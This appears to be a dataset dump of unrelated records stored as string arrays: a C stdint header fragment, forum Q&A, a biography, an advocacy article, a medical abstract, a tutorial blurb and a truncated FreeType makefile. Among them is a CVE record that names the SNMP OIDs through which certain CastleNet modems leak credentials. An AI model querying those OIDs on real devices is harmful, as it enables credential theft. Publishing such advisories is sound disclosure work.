INT32_MIN\n#define INTPTR_MAX INT32_MAX\n#define UINTPTR_MAX UINT32_MAX\n#endif // _WIN64 ]\n\n// 7.18.2.5 Limits of greatest-width integer types\n#define INTMAX_MIN INT64_MIN\n#define INTMAX_MAX INT64_MAX\n#define UINTMAX_MAX UINT64_MAX\n\n// 7.18.3 Limits of other integer types\n\n#ifdef _WIN64 // [\n#define PTRDIFF_MIN _I64_MIN\n#define PTRDIFF_MAX _I64_MAX\n#else // _WIN64 ][\n#define PTRDIFF_MIN _I32_MIN\n#define PTRDIFF_MAX _I32_MAX\n#endif // _WIN64 ]\n\n#define SIG_ATOMIC_MIN INT_MIN\n#define SIG_ATOMIC_MAX INT_MAX\n\n#ifndef SIZE_MAX // [\n#ifdef _WIN64 // [\n#define SIZE_MAX _UI64_MAX\n#else // _WIN64 ][\n#define SIZE_MAX _UI32_MAX\n#endif // _WIN64 ]\n#endif // SIZE_MAX ]\n\n// WCHAR_MIN and WCHAR_MAX are also defined in <wchar.h>\n#ifndef WCHAR_MIN // [\n#define WCHAR_MIN 0\n#endif // WCHAR_MIN ]\n#ifndef WCHAR_MAX // [\n#define WCHAR_MAX _UI16_MAX\n#endif // WCHAR_MAX ]\n\n#define WINT_MIN 0\n#define WINT_MAX _UI16_MAX\n\n#endif // __STDC_LIMIT_MACROS ]\n\n// 7.18.4 Limits of other integer types\n\n#if !", "defined(__cplusplus) || \\\n defined(__STDC_CONSTANT_MACROS) // [ See footnote 224 at page 260\n\n// 7.18.4.1 Macros for minimum-width integer constants\n\n#define INT8_C(val) val##i8\n#define INT16_C(val) val##i16\n#define INT32_C(val) val##i32\n#define INT64_C(val) val##i64\n\n#define UINT8_C(val) val##ui8\n#define UINT16_C(val) val##ui16\n#define UINT32_C(val) val##ui32\n#define UINT64_C(val) val##ui64\n\n// 7.18.4.2 Macros for greatest-width integer constants\n#define INTMAX_C INT64_C\n#define UINTMAX_C UINT64_C\n\n#endif // __STDC_CONSTANT_MACROS ]\n\n#endif // _MSC_STDINT_H_ ]\n" ]

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[ "{\n \"CVE_data_meta\": {\n \"ASSIGNER\": \"cve@mitre.org\",\n \"ID\": \"CVE-2018-20385\",\n \"STATE\": \"PUBLIC\"\n },\n \"affects\": {\n \"vendor\": {\n \"vendor_data\": [\n {\n \"product\": {\n \"product_data\": [\n {\n \"product_name\": \"n/a\",\n \"version\": {\n \"version_data\": [\n {\n \"version_value\": \"n/a\"\n }\n ]\n }\n }\n ]\n },\n \"vendor_name\": \"n/a\"\n }\n ]\n }\n },\n \"data_format\": \"MITRE\",\n \"data_type\": \"CVE\",\n \"data_version\": \"4.0\",\n \"description\": {\n \"description_data\": [\n {\n \"lang\": \"eng\",\n \"value\": \"CastleNet CBV38Z4EC 125.553mp1.39219mp1.899.007, CBV38Z4ECNIT 125.553mp1.39219mp1.899.005ITT, CBW383G4J 37.556mp5.008, and CBW38G4J 37.553mp1.008 devices allow remote attackers to discover credentials via iso.3.6.1.4.1.4491.2.4.1.1.6.1.1.0 and iso.3.6.1.4.1.4491.2.4.1.1.6.1.2.0 SNMP requests.\"", "\n }\n ]\n },\n \"problemtype\": {\n \"problemtype_data\": [\n {\n \"description\": [\n {\n \"lang\": \"eng\",\n \"value\": \"n/a\"\n }\n ]\n }\n ]\n },\n \"references\": {\n \"reference_data\": [\n {\n \"name\": \"https://github.com/ezelf/sensitivesOids/blob/master/oidpassswordleaks.csv\",\n \"refsource\": \"MISC\",\n \"url\": \"https://github.com/ezelf/sensitivesOids/blob/master/oidpassswordleaks.csv\"\n },\n {\n \"name\": \"https://misteralfa-hack.blogspot.com/2018/12/stringbleed-y-ahora-que-passwords-leaks.html\",\n \"refsource\": \"MISC\",\n \"url\": \"https://misteralfa-hack.blogspot.com/2018/12/stringbleed-y-ahora-que-passwords-leaks.html\"\n }\n ]\n }\n}" ]

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[ "The Stolberg Corridor: This scenario is included in the Westwall and details the fighting outside of Aachen in September 1944.", "\n\nI love Command Ops but almost never play it now. ", "That is amazing because I basically spent all of 2014-5 playing it, creating scenarios for it and musing about it's future or lack thereof.", "I do not love Command Ops 2. ", "The game is essentially the same, with some improvements but it's new publisher smartly released it for free with some stock scenarios and then re-released all of the old content plus some new stuff (see the screen above) for a reduced price that better fits the marketplace (kudos to David Heath!).The base game is still charming but CO2 symbolizes for me how gaming companies can go off the rails with patches and updates (there were years of these) while failing deliver on the wider promise of said wargaming engine by delving into new content (which you have said for years is just over the horizon).I am writing about Command Ops today because there is some discussion in the forums that CO might not continue. ", "If that is true, I hope that Dave and company will consider releasing the almost complete Eastern Front game and whatever else they have (by the way I have seen the Eastern Front stuff and it is already awesome). ", "I would pay for this content even if it is half-baked or doesn't have mounted ops. ", "After all, this is just a game and I don't need the most accurate simulation of command and control warfare ever built, I just want to continue playing." ]

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[ "Q:\n\nHow does BB-8 move in the sand without skidding?", "\n\nQuestion inspired by Neil deGrasse Tyson's tweet:\n\nIn @StarWars #TheForceAwakens, BB-8, a smooth rolling metal spherical ball, would have skidded uncontrollably on sand.", "\n\nIs this ever explained in-universe? ", "\nHow was BB-8 able to travel through the sand without skidding?", "\n\nA:\n\nThat BB-8 droid actually works, as it was an actual prop that was used for actual filming, on actual sand. ", " Even though Neil deGrasse Tyson says it will skid uncontrollably, we know that it does not.", "\nThe proof is in the pudding, and comes straight from a horse's mouth (if Mark Hamill were a horse):\n\nThat said, we also have NASA pointing out in this article that it is a poor design:\n\n\"Looking at the BB-8 droid I would have to say the physics, it doesn't\n follow particularly well,\" Kennedy said in a video for Wired. \"", "Trying\n to roll up and over anything is extremely difficult.\"", "\n\nIt is also worth noting that the Sphero BB-8 toy does not work on sand:\n\nA:\n\nNeil's question seems to assume two things which aren't really knowable:\n\nBB-8 is a truly smooth sphere\nThe sand on Jakku lacks a layer dense enough to provide friction\n\nThe first is really really up for grabs - while BB-8 looks pretty round and smooth, remember he's really made up with different plates which have ports, crevices, etc. ", " It also assumes that a robot equipped with grappling hooks to steady itself in flight doesn't also have some kind of tread or cleats for traction that we might not even notice due to BB's speed in the scene.", "\nThe second is questionable from scene to scene. ", " In the scene where Rey finds BB it looks like dune like sand which can be tricky even for bipeds. ", " In the scene around the trading post, it appears well packed and would be easy to traverse for a sphere (which, as a physical prop, BB-08 proves himself).", "\n\nA:\n\nHow do you know how smooth it is? ", " Because it looks smooth? ", " So what?", "\nWe know that anti-gravity technology exists and is commonplace to the point that Luke's and Rey's vehicles happily hover above the sand even when they appear to be powered down. ", " It's not a big leap to conclude that a similar technology can be used to exert a force on the ground not through the friction between the droid's surface and the sand in which it's in direct contact.", "\n\n" ]

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[ "Barbara Casini\n\nBarbara Casini (born 1954 in Florence) is an Italian vocalist and guitar player. ", "Studying piano from her youth, she was exposed to Bossa Nova at the age of 15, which had a marked influence on her musical life. ", "After graduating in psychology from the University of Padova, she moved on to become an important voice for Brazilian music and jazz in particular in Italy and beyond after first performing in 1979. ", "She has since recorded and performed with Lee Konitz, Phil Woods, Leo Walls, Francisco Petreni, Stefano Bollani, Enrico Rava, amongst others and with her own group, Outro Lado.", "\n\nDiscography\n1997 – Todo o Amor\n1999 – Outro Lado\n2000 – Vento\n2000 – Sozinha\n2001 – Você e Eu\n2002 – Outra Vez\n2003 – Uma voz para Caetano\n2004 – Anos Dourados\n2004 – Uragano Elis\n2005 – Luiza\n\n2007 – Palavra Prima\n2007 – Nordestina\n2009 – Formidable\n2011 – Barato Total\n2012 – Agora Ta\n2015 – Uma Mulher\n2016 – Terras\n\nExternal links\n\nCategory:Living people\nCategory:1954 births\nCategory:Italian musicians" ]

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[ "Q:\n\nCSS3 animations working only in Firefox\n\nI use a lot of CSS3 transitions and animations in my webpage but they only work in Firefox and not in other browsers that i have checked, e.g. Chrome.", "\nI use vendor prefixes but it seems to make no difference.", "\nI also read that i must have the vendor prefixes lines before the original line, but also this try didn't give any successful result.", "\nHere is one example of animation that is not working:\nhtml {\n -webkit-animation-name: fadeInLeftBig;\n -moz-animation-name: fadeInLeftBig;\n -o-animation-name: fadeInLeftBig;\n animation-duration:1s;\n animation-name: fadeInLeftBig;\n}\n@-webkit-keyframes fadeInLeftBig {\n 0% {\n opacity: 0;\n -webkit-transform: translateX(-2000px);\n -moz-transform: translateX(-2000px);\n -o-transform: translateX(-2000px);\n transform: translateX(-2000px);\n }\n 100% {\n opacity: 1;\n -webkit-transform: translateX(0);\n -moz-transform: translateX(0);\n -o-transform: translateX(0);\n transform: translateX(0);\n }\n}\n@keyframes fadeInLeftBig {\n 0% {\n opacity: 0;\n -webkit-transform: translateX(-2000px);\n -moz-transform: translateX(-2000px);\n -o-transform: translateX(-2000px);\n transform: translateX(-2000px);\n }\n 100% {\n opacity: 1;\n -webkit-transform: translateX(0);\n -moz-transform: translateX(0);\n -o-transform: translateX(0);\n transform: translateX(0);\n }\n}\n\nA:\n\nActually it works but the duration of the animation is 0 seconds on other browsers, because you did not add a prefix -webkit to work with chrome and Safari.", "\nSo it must be \nhtml{\n .....\n animation-duration:1s;\n -webkit-animation-duration: 1s;\n}\n\nor you could combine the animation-duration and animation-name in one css property which is animation so it will be\nhtml{\n -webkit-animation: fadeInLeftBig 1s;\n animation: fadeInLeftBig 1s;\n}\n\n" ]

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[ "Taking the Lead in Campaign for Change\n\nThe Amputee Coalition is taking the lead in a campaign to change inadequate laws regarding prosthetic reimbursement. ", "In a recent membership poll, access to adequate prosthetic coverage was the No. ", "1 priority for individuals living with the loss or absence of a limb. ", "As the Amputee Coalition goes forward, it’s important that it head this effort in cooperation with other prosthetic and health-related organizations and companies. ", "The time for talk has passed. ", "The time for action is NOW!", "\n\nMedical costs are increasing dramatically while reimbursement funds are decreasing. ", "Suddenly, we are finding that our prostheses are no longer covered by insurance or that our coverage provides inadequate Durable Medical Equipment (DME) lifetime limits, or caps on total payments, leaving us unable to afford prosthetic devices that help us live our lives fully.", "\n\nThe Amputee Coalition leadership recognizes that a public health crisis for individuals living with limb loss or limb absence is imminent as they become increasingly at risk of living a sedentary lifestyle due to an inability to access appropriate prosthetic care. ", "Therefore, an aggressive course of action has been approved to ensure that such care is afforded to all consumers, and Phase 1 of the “Campaign to Improve Access to Prosthetic Care” will be launched in March 2004, marking a new and significant milestone in the history of the Amputee Coalition.", "\n\nThe Amputee Coalition Board of Directors, Amputee Coalition staff and legal counsel have developed a plan to lead the campaign to mandate coverage of prosthetic limbs at or greater than the Medicare level, and we are now ready to initiate Phase 1. ", "It is important to note at the outset that the Amputee Coalition cannot accomplish this alone. ", "We must have the support of O&P professionals, the industry, and other health-related organizations. ", "We need amputees and their family members to come forward and participate because legislators respond to calls and letters about issues of concern to voters in their area.", "\n\nWhile we are working towards federal changes, we will also continue to work with groups who are, or will be, working to enact legislation mandating that insurance companies pay for prostheses within their own states. ", "In the last four years, Colorado, Maine and New Hampshire have passed prosthetic parity laws. ", "Massachusetts, Connecticut and New York are in the process of pushing bills through their legislatures, and Washington State is working on introducing a bill in 2005.", "\n\nJeffrey Cain, MD, an Amputee Coalition Board member and chair of the Public Policy and Advocacy Committee (PPAC), was the driving force behind Colorado’s bill in 2000. “", "Amputation is an equal opportunity disability and crosses political lines,” Dr. Cain says. “", "People on both sides of the political aisle support this effort. ", "It’s a very compelling issue for the public. ", "Most people think that if they were to suffer a limb loss, their insurance company would pay for an appropriate prosthetic. ", "However, when we polled 100 privately insured people in Colorado, we found that only 20 had policies that adequately covered prosthetics. ", "Eighty percent of those polled found that if they lost a limb that they could not afford an artificial limb.", "\n\n“The push in Colorado was about helping amputees return most effectively to their lives,” Dr. Cain continues. “", "We found that by working together with the amputees and prosthetists in our state we were able to put together an enthusiastic coalition of people who had little experience but a lot of passion.”", "\n\nDr. Cain’s article in the May/June 2003 issue of inMotion, “Creating Change Can Be Fun,” outlines the steps involved in changing the law in a state:\n\nForming a group\n\nUnderstanding the legislative process\n\nFundraising\n\nBuilding a grassroots organization\n\nIntroducing legislation\n\nHaving fun\n\nKeith Cornell, president of AOPA, feels that a multi-state and federal approach can be successful and that the more states with prosthetic parity laws in place by the time it comes to vote on federal legislation, the better chance we will have that the legislation will pass.", "\n\nHow is Amputee Coalition going to set about this necessary but daunting task? ", "Douglas McCormack, Amputee Coalition’s general counsel, says that the focus of the campaign’s first phase will be to:\n\nDevelop a comprehensive understanding of the legal, regulatory, statutory, insurance industry and political underpinnings that influence prosthetic access\n\nIdentify and recruit industry and related organization stakeholders to participate in developing a comprehensive response to improving prosthetic access\n\nEstablish the first inclusive, coherent and cohesive strategy encompassing the views and recommendations of the entire O&P community and related stakeholders to be detailed in an access to care and limb loss access blueprint or action plan.", "\n\nAs we indicated previously, this is part of a public health issue. ", "Each year 185,000 Americans undergo amputation of a limb and about 1,000 children are born with a limb difference. ", "Nearly 1.28 million people in this country are living with the loss of a limb. ", "While there has been a marked decrease in the number of injury-related or traumatic amputations, due to innovations in treatment and injury prevention, there has been a sharp increase in the number of new cases of amputations in people with diabetes and peripheral vascular disease. ", "More and more morbidly obese children and young adults are at risk of being diagnosed with Type 2 diabetes, putting them at risk for amputation of a limb at a much younger age. ", "Prevention is obviously the best approach, but when that is unsuccessful, Amputee Coalition intends to actively engage organizations interested in ensuring quality outcomes in people with limb loss to chart a course for establishing national goals to improve their health and quality of life.", "\n\n“It’s important to ask ourselves where do we want to be in 10 years and then work to create that future,” Dr. Cain adds. “", "If current insurance trends continue, fewer and fewer of our members will be able to afford prosthetic devices and their quality of life will be limited. ", "If we take a leadership role, we can help to create a future where all amputees in the U.S. have access to the appropriate prosthetic devices that ensure them as productive a life as possible.”", "\n\nHow can you help? ", "Get the word out through your support group, prosthetists and other healthcare providers. ", "If you don’t belong to a support group, call Amputee Coalition for the one closest to you. ", "Be proactive. ", "Start a legislative group in your state. ", "Amputee Coalition has published a guide titled Prosthetic Parity Law State Organizers’ Toolkit, which is available through the national office. ", "The Amputee Coalition has a database of experienced individuals who are willing to help new groups get started. ", "As those groups gain experience, they will be added to the database to help the next group. ", "In this way we can all contribute to the future of every amputee.", "\n\nTo be a success, this must be a consumer-driven campaign. ", "It will benefit each one of us and generations to come. ", "No one expects to be born without a limb or to have one amputated. ", "The time to find out that a prosthetic device isnot covered by your insurance plan is not after a catastrophic event when you are already in tremendous physical and emotional pain. ", "When you are facing drastic lifestyle changes, you certainly do not have the energy or time to challenge your insurance company. ", "That time and energy should be used to recover, rehabilitate, and return to an active, productive lifestyle.", "\n\nJoin Amputee Coalition and its partner organizations in this effort. ", "We are establishing a new category for receiving donations. ", "Every donation, however small, will help. ", "Just think, if every amputee in the United States sent in just $1 every year, we would have $1.28 million dollars a year to help us make this happen. ", "Be a part of a history-making initiative and send in your donation today. ", "Together we will make this happen.", "\n\nTo make a donation by credit card go to the “Your Dollars Make A Difference!” ", "icon on the Amputee Coalition Web site at http://www.amputeecoalition.org and click on it. ", "Then click on the “Advocacy Contribution” link.", "\n\nThis Web site was supported, in part, by grant number 90LL0002-03-00 and 90LL0002-03-01, from the Administration for Community Living, U.S. Department of Health and Human Services, Washington, D.C. 20201. ", "Grantees undertaking projects under government sponsorship are encouraged to express freely their findings and conclusions. ", "Points of view or opinions do not, therefore, necessarily represent official Administration for Community Living policy." ]

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[ "Ambulatory setting for peritoneal dialysis catheter placement.", "\nA modified fluoroscopic technique by adding ultrasound-assistance ensuring entry into the abdominal cavity and avoiding the risk of epigastric artery injury under direct ultrasound visualization was recently published. ", "This study demonstrated that the technique was minimally invasive and allowed for accurate assessment of entry into the abdominal cavity and avoidance of vascular injury. ", "In the current analysis, we report the impact of this technique on hospital stay during a peritoneal dialysis (PD) catheter insertion. ", "Twenty-six PD catheters have been placed on an outpatient basis using this technique. ", "All catheter insertions were successful. ", "Patients were discharge on the same day of the procedure. ", "There were no procedure-related complication or related to short hospital stay. ", "An ambulatory setting allows for a short hospital stay without compromising patient care. ", "This brief paper explains in detail the pre, peri and postoperative period and follow-up." ]

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[ "Q:\n\nHow does one get qualified to fly an X-Wing?", "\n\nIn Star Wars IV: A New Hope, we see Luke Skywalker being assigned to fly an X-Wing, a powerful space superiority fighter; but oddly, until only a few days prior, Luke was just a moisture farmer on a desert world. ", "\nHow does one get checked out or qualified to fly a fighter such as an X-Wing? ", "I would not think that Luke flying his small hopper through the valleys of Tatooine would be the same as Biggs going to an Imperial Academy and learning to fly TIE fighters. ", " This sounds like any old real-life crop-dusting pilot would be able to take up an F-22 Raptor and be successful with it.", "\nSo, how does one get qualified to fly an X-Wing?", "\n\nA:\n\nAccording to Wikipedia, Luke got in purely on the recommendation from Biggs\n\nBiggs assured the rebel flight leader that Luke could handle the X-Wing fighters. ", "This scene was reintroduced in the 1997 re-release of the film. ", "However, a line in which the flight leader referred to Luke’s father and said that if he had his skill he would do fine remained on the cutting room floor.", "\n\nBut you have to consider that it was a scenario like Independence Day where the Rebellion was willing to accept any capable pilot. ", "There was a big, planet-destroying imperial weapon about to obliterate Yavin, damn right we're going to throw everything at it, including the kitchen sink.", "\n\nA:\n\nThe 1981 National Public Radio adaptation of Star Wars has a scene where Luke is tested (by Biggs) in an X-wing simulator; Biggs’ recommendation is—if I recall correctly—based on his simulator score. ", "As explained on Wookieepedia:\n\nLuke joins Biggs Darklighter, who tests his flying abilities using a\n flight simulator. ", "It is revealed by Commander Willard that Luke was\n only “killed” twice, despite Biggs pitting him against the virtual\n equivalent of the entire Imperial Starfleet. (", "Whether Willard was\n actually exaggerating or not is left for the listener to determine,\n though regardless Luke does well enough that the Rebels are willing to\n put him into a starfighter for the assault.)", "\n\nA:\n\nI don't know if I can even post this, because it relies strictly on Legends Material, but the opening of Rogue Squadron (Novel) has Corran Horn being run through a simulator program. ", "While this is post-Endor, it seems clear that at least for Rogue Squadron there is a clear training program that they use to ramp pilots up. ", "The Rogue Squadron Comic Book series (which takes place even earlier in the timeline) even has a bank of X-Wing AND TIE Fighter simulators on board Home One that is used to weed out pilots and their skills.", "\nGoing back a bit further, Pre-Yavin, Keyen Farlander is trained using a simulator system that has him flying historical missions. ", "This system is implied to be aboard a Mon Calamari Star Cruiser, though it's never explicitly stated as such. ", "This also introduced the concept of the Pilot Proving Grounds, and if you completed enough back-to-back bases through the gates (which were on sort of floating platforms with turrets on them) you earned a proficiency badge for the ship you were flying. ", "Navigating these platforms is pretty tricky - you have to engage the turrets and manage your speed while piloting yourself through the gates and around obstacles. ", "While I would not say it's a close approximation of combat, the actions forced on the pilot are going to require developing similar skill sets.", "\nIt's never stated when exactly it was created, but there is a base on Folor that was dedicated to the training of new pilots, it is strongly implied in the Wraith Squadron novel that this base was established at some point after the Battle of Yavin. ", "This base had a satellite field that the fighter pilots preferred and a canyon run that the Y-Wing pilots preferred. ", "This base was abandoned shortly after the formation of Wraith Squadron.", "\nX-Wing Alliance also details a little bit of this - the main character in that game is previously a cargo pilot (I would say smuggler, personally) who undertakes a number of training missions and spends much time in the simulator (again, it's implied this is standard aboard most Mon Calamari Rebel Ships). ", "Some of his training also occurs at a semi-abandoned Smelting Facility that stretches between several factories and asteroids (this maybe the satellite feed from Folor? ", "Wookieepedia says this was established 'shortly after Endor' with no annotation for the source of that information). ", "This game takes place before Endor - establishing the existence (in Legends at least) of simulators aboard these ships well before the Rogue Squadron comics set them there.", "\nAnd this is where a lot of the Rebel Pilots came from - Imperial Ranks, Smugglers, and Bush Pilots. ", "People who already had a natural aptitude for flying and had been in some 'harry' situations (sometimes in the case of smuggler pilots [Lando Calrissian, Battle of Taanab] actual combat) that would prepare them for the stress of combat. ", "\n\n" ]

{ "pile_set_name": "StackExchange" }

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[ "Angular 9 CRUD\n\nThroughout this Angular 9 CRUD tutorial, we’ll be learning to implement CRUD operations by example using the latest Angular 9 version that has been released recently with Ivy support.", "\n\n> ✋✋ Join our Facebook group 👈 to discuss anything related to Angular development.", "\n\nWe’ll make use of a CRUD REST API built using json-server which allows you to generate a full working REST API in no time.", "\n\nWhat’s CRUD?", "\n\nCRUD stands for Create, Read. ", "Update and Delete — a set of operations often implemented in web apps to allow users to interact with a database.", "\n\nIn our tutorial, we’ll only focus on building the front-end using Angular 9, the back-end will be mocked using json-server.", "\n\nWe’ll not be learning how to use json-server but you can see the complete instructions from this tutorial after creating the Angular 9 project.", "\n\nAngular 9 CRUD Tutorial Steps\n\nStep 1 — Mocking the Backend Using json-server\n\nStep 2 — Creating an Angular 9 Module\n\nStep 3 — Importing Angular `HttpClientModule` and `FormsModule`\n\nStep 4 — Creating Angular 9 Component(s)\n\nStep 5 — Adding Angular 9 Routing\n\nStep 6 — Creating an Angular 9 Service\n\nStep 7 — Creating a Model\n\nStep 8 — Implementing the CRUD Methods\n\nStep 9 — Calling the CRUD Methods\n\nRead the tutorial" ]

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[ "#\n# Makefile for FreeType2 link library using gcc 4.0.3 from the\n# AmigaOS4 SDK\n#\n\n\n# Copyright (C) 2005-2019 by\n# Werner Lemberg and Detlef Würkner.", "\n#\n# This file is part of the FreeType project, and may only be used, modified,\n# and distributed under the terms of the FreeType project license,\n# LICENSE.TXT. ", " By continuing to use, modify, or distribute this file you\n# indicate that you have read the license and understand and accept it\n# fully.", "\n\n\n# to build from the builds/amiga directory call\n#\n# make -f makefile.os4\n#\n# Your programs source code should start with this\n# (uncomment the parts you do not need to keep the program small):\n# ---8<---\n#define FT_USE_AUTOFIT // autofitter\n#define FT_USE_RASTER // monochrome rasterizer\n#define FT_USE_SMOOTH // anti-aliasing rasterizer\n#define FT_USE_TT // truetype font driver\n#define FT_USE_T1 // type1 font driver\n#define FT_USE_T42 // type42 font driver\n#define FT_USE_T1CID // cid-keyed type1 font driver\n#define FT_USE_CFF // opentype font driver\n#define FT_USE_BDF // bdf bitmap font driver\n#define FT_USE_PCF // pcf bitmap font driver\n#define FT_USE_PFR // pfr font driver\n#define FT_USE_WINFNT // windows .fnt|.fon bitmap font driver\n#define FT_USE_OTV // opentype validator\n#define FT_USE_GXV // truetype gx validator\n#include \"FT:src/base/ftinit.c\"\n# ---8<---\n#\n# link your programs with libft2_ppc.a and either ftsystem.ppc.o or ftsystempure.ppc.o\n# (and either ftdebug.ppc.o or ftdebugpure.ppc.o if you enabled FT_DEBUG_LEVEL_ERROR or\n# FT_DEBUG_LEVEL_TRACE in include/freetype/config/ftoption.h).", "\n\nall:\tassign libft2_ppc.a ftsystem.ppc.o ftsystempure.ppc.o\n\nassign:\n\tassign FT: //\n\nCC = ppc-amigaos-gcc\nAR = ppc-amigaos-ar\nRANLIB = ppc-amigaos-ranlib\n\nDIRFLAGS = -Iinclude -I/FT/src -I/FT/include -I/SDK/include\n\nWARNINGS = -Wall -W -Wundef -Wpointer-arith -Wbad-function-cast \\\n\t -Waggregate-return -Wwrite-strings -Wshadow\n\nOPTIONS = -DFT2_BUILD_LIBRARY -DNDEBUG -fno-builtin\nOPTIMIZE = -O2 -fomit-frame-pointer -fstrength-reduce -finline-functions\n\nCFLAGS = -mcrt=clib2 $(DIRFLAGS) $(WARNINGS) $(FT2FLAGS) $(OPTIONS) $(OPTIMIZE)\n\n#\n# FreeType2 library base\n#\nftbase.ppc.o: FT:src/base/ftbase.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftbase.c\n\nftinit.ppc.o: FT:src/base/ftinit.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftinit.c\n\nftsystem.ppc.o: FT:src/base/ftsystem.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftsystem.c\n\n# pure version for use in run-time library etc\nftsystempure.ppc.o: src/base/ftsystem.c\n\t$(CC) -c $(CFLAGS) -o $@ src/base/ftsystem.c\n\n#\n# FreeType2 library base extensions\n#\nftbbox.ppc.o: FT:src/base/ftbbox.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftbbox.c\n\nftbdf.ppc.o: FT:src/base/ftbdf.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftbdf.c\n\nftbitmap.ppc.o: FT:src/base/ftbitmap.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftbitmap.c\n\nftcid.ppc.o: FT:src/base/ftcid.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftcid.c\n\nftdebug.ppc.o: FT:src/base/ftdebug.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftdebug.c\n\n# pure version for use in run-time library etc\nftdebugpure.ppc.o: src/base/ftdebug.c\n\t$(CC) -c $(CFLAGS) -o $@ src/base/ftdebug.c\n\nftfstype.ppc.o: FT:src/base/ftfstype.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftfstype.c\n\nftgasp.ppc.o: FT:src/base/ftgasp.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftgasp.c\n\nftglyph.ppc.o: FT:src/base/ftglyph.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftglyph.c\n\nftgxval.ppc.o: FT:src/base/ftgxval.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftgxval.c\n\nftmm.ppc.o: FT:src/base/ftmm.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftmm.c\n\nftotval.ppc.o: FT:src/base/ftotval.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftotval.c\n\nftpatent.ppc.o: FT:src/base/ftpatent.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftpatent.c\n\nftpfr.ppc.o: FT:src/base/ftpfr.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftpfr.c\n\nftstroke.ppc.o: FT:src/base/ftstroke.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftstroke.c\n\nftsynth.ppc.o: FT:src/base/ftsynth.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftsynth.c\n\nfttype1.ppc.o: FT:src/base/fttype1.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/fttype1.c\n\nftwinfnt.ppc.o: FT:src/base/ftwinfnt.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/base/ftwinfnt.c\n\n#\n# FreeType2 library autofitting module\n#\nautofit.ppc.o: FT:src/autofit/autofit.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/autofit/autofit.c\n\n#\n# FreeType2 library postscript hinting module\n#\npshinter.ppc.o: FT:src/pshinter/pshinter.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/pshinter/pshinter.c\n\n#\n# FreeType2 library PS support module\n#\npsaux.ppc.o: FT:src/psaux/psaux.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/psaux/psaux.c\n\n#\n# FreeType2 library PS glyph names module\n#\npsnames.ppc.o: FT:src/psnames/psnames.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/psnames/psnames.c\n\n#\n# FreeType2 library monochrome raster module\n#\nraster.ppc.o: FT:src/raster/raster.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/raster/raster.c\n\n#\n# FreeType2 library anti-aliasing raster module\n#\nsmooth.ppc.o: FT:src/smooth/smooth.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/smooth/smooth.c\n\n#\n# FreeType2 library 'sfnt' module\n#\nsfnt.ppc.o: FT:src/sfnt/sfnt.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/sfnt/sfnt.c\n\n#\n# FreeType2 library glyph and image caching system\n#\nftcache.ppc.o: FT:src/cache/ftcache.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/cache/ftcache.c\n\n#\n# FreeType2 library OpenType font driver\n#\ncff.ppc.o: FT:src/cff/cff.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/cff/cff.c\n\n#\n# FreeType2 library TrueType font driver\n#\ntruetype.ppc.o: FT:src/truetype/truetype.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/truetype/truetype.c\n\n#\n# FreeType2 library Type1 font driver\n#\ntype1.ppc.o: FT:src/type1/type1.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/type1/type1.c\n\n#\n# FreeType2 library Type42 font driver\n#\ntype42.ppc.o: FT:src/type42/type42.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/type42/type42.c\n\n#\n# FreeType2 library CID-keyed Type1 font driver\n#\ntype1cid.ppc.o: FT:src/cid/type1cid.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/cid/type1cid.c\n\n#\n# FreeType2 library BDF bitmap font driver\n#\nbdf.ppc.o: FT:src/bdf/bdf.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/bdf/bdf.c\n\n#\n# FreeType2 library PCF bitmap font driver\n#\npcf.ppc.o: FT:src/pcf/pcf.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/pcf/pcf.c\n\n#\n# FreeType2 library gzip support for compressed PCF bitmap fonts\n#\ngzip.ppc.o: FT:src/gzip/ftgzip.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/gzip/ftgzip.c\n\n#\n# FreeType2 library bzip2 support for compressed PCF bitmap fonts\n#\nbzip2.ppc.o: FT:src/bzip2/ftbzip2.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/bzip2/ftbzip2.c\n\n#\n# FreeType2 library compress support for compressed PCF bitmap fonts\n#\nlzw.ppc.o: FT:src/lzw/ftlzw.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/lzw/ftlzw.c\n\n#\n# FreeType2 library PFR font driver\n#\npfr.ppc.o: FT:src/pfr/pfr.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/pfr/pfr.c\n\n#\n# FreeType2 library Windows FNT/FON bitmap font driver\n#\nwinfnt.ppc.o: FT:src/winfonts/winfnt.c\n\t$(CC) -c $(CFLAGS) 